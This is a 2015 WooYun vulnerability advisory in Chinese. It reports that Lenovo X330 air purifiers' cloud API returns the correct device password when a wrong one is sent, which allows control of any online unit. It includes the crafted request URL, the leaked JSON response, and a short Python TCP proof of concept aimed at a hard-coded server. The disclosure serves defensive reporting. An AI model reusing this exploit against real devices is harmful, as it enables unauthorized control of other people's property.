当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124795

漏洞标题:联想X330空气净化器绕过用户绑定可任意控制他人设备漏洞

相关厂商:联想

漏洞作者: 宋兵甲

提交时间:2015-07-06 00:03

修复时间:2015-08-20 12:12

公开时间:2015-08-20 12:12

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-06: 厂商已经确认,细节仅向厂商公开
2015-07-16: 细节向核心白帽子及相关领域专家公开
2015-07-26: 细节向普通白帽子公开
2015-08-05: 细节向实习白帽子公开
2015-08-20: 细节向公众公开

简要描述:

使用错误的设备密码调用联想X330净化器的特定接口,服务器会返回正确的密码,利用这个正确的设备密码,就可以控制任意在线的X330设备。由于使用了同款APP,该漏洞同时影响到Luftmed多款净化器设备。

详细说明:

01.png


X330的设备ID没有贴在机器上,而是放在液晶显示屏里,其特别之处在于,可以通过“更新连接”按钮,导致每次生成的二维码扫描结果不一样,扫描出来的结果形如“ef23fbf000000824a221a23667400000#X33010002399MGJ4”,其中“ef23fbf000000824a221a23667400000”是用户id,“X33010001152”是设备id,“MGJ4”进过后续分析得知是设备密码,这个密码每次更新连接都会变化。
但当构造类似下面的注册设备指令时:
/kqjhq/user/addApparatus.do?u=ef23fbf000000824a221a23667400000&a=X33010002399GYUH&n=&t=&p=
哪怕传的是错误的密码,服务器也会通过JSON把正确的密码返回过来:

{
"c":1,
"m":"操作成功",
"d":{
"a":{
"uuid":"dd8c19fdf1994147b5c15326fdbf3d13",
"ip":"119.139.51.157",
"filter":0,
"quality":0,
"carbonFilter":0,
"lmodify":"2014-11-24",
"uc":"X33010002399",
"n":null,
"o":false,
"t":"X3301000",
"pw":"72IS"
}
}
}


设备的控制指令是通过TCP协议直接传数据实现的,拿到了设备密码,根据规则构造控制指令,就可以控制任意在线设备。

漏洞证明:

#!/usr/bin/env python
import socket
TCP_IP = '121.199.51.185'
TCP_PORT = 8000
BUFFER_SIZE = 1024
MESSAGE = "$0AM0000T000A011X3301000239972IS00000000000000000000000000000000\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data

修复方案:

1、服务器建议不要返回正确密码,这没有任何必要。
2、密码太短,只有4位,哪怕不返回,也可以很快枚举出来。

版权声明:转载请注明来源 宋兵甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-06 12:10

厂商回复:

非常感谢提交漏洞。

最新状态:

暂无